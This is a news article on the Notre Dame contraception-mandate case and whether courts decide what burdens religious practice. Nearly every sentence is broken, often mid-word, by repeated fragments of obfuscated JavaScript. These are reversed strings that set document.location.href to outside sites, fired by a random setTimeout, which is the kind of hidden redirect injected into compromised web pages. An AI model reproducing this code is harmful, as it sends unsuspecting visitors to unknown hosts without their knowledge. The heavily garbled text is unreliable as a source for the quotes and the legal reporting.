Mark A. Kellner, Who decides if a law restricts a religious practice? Notre Dame case may provide the answer, Desert National News

Nearly a year after the Supreme Court ruled that a privately held corporation can, on religious grounds, refuse doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide contraceptive health insurance coverage for its employees, the issue of religious exemptions doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Affordable Care Act’s mandates may again be headed for the nation’s doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top court.

The 7th U.S. Circuit Court of Appeals, in a 2-1 decision, ruled May 19 against a temporary exemption for the University of Notre Dame, a Roman Catholic institution. The school argued that even signing a document saying they object doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paying for contraception violates its religious principles.

But Judge Richard Posner, writing for the majority, disagreed.

“Although Notre Dame is the final arbiter of its religious beliefs, it is for the courts doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine whether the law actually forces Notre Dame doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to act in a way that would violate those beliefs,” he said.

Posner isn’t alone in his view. The day after the 7th Circuit’s ruling, a federal appeals panel in Washingdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton issued a similar denial doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another religious group, and for the same reason. Legal observers agree the question of whether or not judges should decide whether a given federal regulation imposes a burden on religious practice may well be an issue the high court could again address.

Those same observers are split, however, on how the Supreme Court might rule or even should rule on whether a federal law violates a religious belief or restricts religious practice.

“The real significance” of Posner’s ruling, said Robert W. Tuttle, a law professor at George Washingdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton University who’s written extensively on the subject, “is that it suggests (federal) courts have a continuing role in assessing the substantiality of the burden” on a group’s religious freedom imposed by a given mandate. That standard, he said, is a part of the 1993 Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, under which Notre Dame and many other groups have sought doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid the ACA’s contraception mandate.

Birth control mandate

The Affordable Care Act mandates that employee health plans — except for “religious employers” defined by the agency as “primarily houses of worship” — must offer contraceptive coverage.

The question of what the government can do doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to require religious institutions that are not houses of worship doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cooperate with the contraceptive mandate has spawned a raft of legal challenges in the courts. Of 58 nonprofit organization lawsuits filed so far, The Becket Fund for Religious Liberty noted on its website, 29 injunctions against HHS have been granted, with only six denied, including Notre Dame’s. Eleven other cases have been dismissed on various procedural or other grounds, the group said.

In response doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pending legal challenges, the government in June 2013 approved an accommodation that allowed institutions objecting on religious grounds doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to certify their objections in writing. Once filed, the nonprofit’s insurance company arranges doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide contraceptives without cost doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the nonprofit.

But the accommodation didn’t satisfy many religious-affiliated institutions such as Notre Dame.

“What’s required of the university (is that) it has doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sign a waiver that triggers (the insurance company action); it brings us indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the process,” university spokesman Paul Browne said. “And we don’t want doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be in the process at all.”

Some private companies, which couldn’t take advantage of the exemption for nonprofit religious organizations, also objected doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the mandate based on the religious beliefs of the employer. The Becket Fund reported that 49 for-profit firms filed lawsuits seeking exemptions from the mandate.

One of the more high-profile employers was Hobby Lobby Sdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores, Inc., a national arts-and-crafts retail chain, which won a preliminary injunction delaying enforcement of the birth control mandate last year. In that case, the Supreme Court ruled last year that privately held businesses whose owners have religious objections doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to providing certain forms of contraception they believe would induce abortions can be exempted under the 1993 religious freedom law.

Writing for the majority, Justice Samuel A. Alidoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to said the federal Department of Health and Human Services could try harder doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate the religious needs of for-profit firms, like it did for nonprofits. “In order for the HHS mandate doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be sustained, it must also constitute the least restrictive means of serving that interest, and the mandate plainly fails that test,” Alidoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wrote. “There are other ways in which Congress or HHS could equally ensure that every woman has cost-free access doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to all FDA-approved contraceptives.”

In March, the high court ordered the 7th Circuit doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to review the Notre Dame case and rule again, citing the Hobby Lobby ruling as a precedent.

A burden or not

Posner, in his majority opinion, said Notre Dame could have used the same approach for which evangelical school Wheadoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton College won a temporary injunction of its own: accept the option of sending a letter doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to HHS stating its desire for an exemption, and “undoubtedly the Secretary (of HHS) would agree.”

Posner added, “There is a strong argument that given the government’s legitimate interest in the provision of contraceptive coverage doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to women without cost doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them, notice doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the government would strike the proper balance between legitimate governmental and sincere religious interests.”

But in his dissent, 7th Circuit Judge Joel Flaum agreed with the school that the ACA mandate “turns Notre Dame indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a conduit for the provision of cost-free contraception.”

Flaum did not address the question of whether a court should or should not accept a group’s determination that a mandate violates their belief. But he did agree the government imposed a legitimate burden on the school if it abided by Catholic teachings against artificial contraception.

The government’s requirement that Notre Dame notify its insurance carriers or HHS would require the school doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become “complicit in (the) moral wrong,” of providing contraception, he wrote. “Notre Dame’s only alternative is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to endure crippling fines.”

The court’s role

At this point, Notre Dame could again ask the Supreme Court doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear an appeal of its case. Browne said the school’s atdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torneys are weighing their options.

Tuttle, who said Posner reached a resonable conclusion in the Notre Dame case, said it’s “quite possible” the matter could again reach the high court. “Then it will come down doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this question of whether or not the religious organization gets the last word on what is a burden” under the Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, he said.

But Eric Rassbach, deputy general counsel at the Becket Fund, has a different interpretation of RFRA. Though not representing Notre Dame in this case, Becket has worked with other nonprofit and for-profit organizations on similar cases, most notably Hobby Lobby.

